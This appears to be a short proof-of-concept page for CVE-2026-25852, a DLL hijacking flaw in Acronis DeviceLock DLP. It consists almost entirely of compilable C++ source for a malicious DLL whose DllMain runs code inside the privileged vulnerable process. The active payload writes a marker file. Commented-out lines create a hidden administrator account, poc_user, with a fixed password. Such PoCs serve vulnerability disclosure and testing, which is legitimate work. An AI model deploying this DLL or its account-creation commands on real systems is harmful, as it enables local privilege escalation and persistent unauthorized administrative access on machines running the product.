CVE-2026-25852 Acronis DeviceLock DLP DLL劫持漏洞

// poc_dll.cpp // Generic DLL Hijacking PoC for CVE-2026-25852 // Compile: mingw32-gcc -shared -o malicious.dll poc_dll.cpp #include <windows.h> #include <stdlib.h> BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) { switch (ul_reason_for_call) { case DLL_PROCESS_ATTACH: // Code executed when the DLL is loaded by the vulnerable process // Since the process runs with high privileges, this code runs with high privileges. // Example: Create a new administrative user (Privilege Escalation) // system("net user poc_user P@ssw0rd123! /add"); // system("net localgroup administrators poc_user /add"); // Example: Write a file to prove execution (Safe for testing) HANDLE hFile = CreateFileA("C:\\temp\\cve_2026_25852_poc.txt", GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL); if (hFile != INVALID_HANDLE_VALUE) { const char* data = "CVE-2026-25852 Exploited Successfully."; DWORD bytesWritten; WriteFile(hFile, data, strlen(data), &bytesWritten, NULL); CloseHandle(hFile); } break; case DLL_THREAD_ATTACH: case DLL_THREAD_DETACH: case DLL_PROCESS_DETACH: break; } return TRUE; }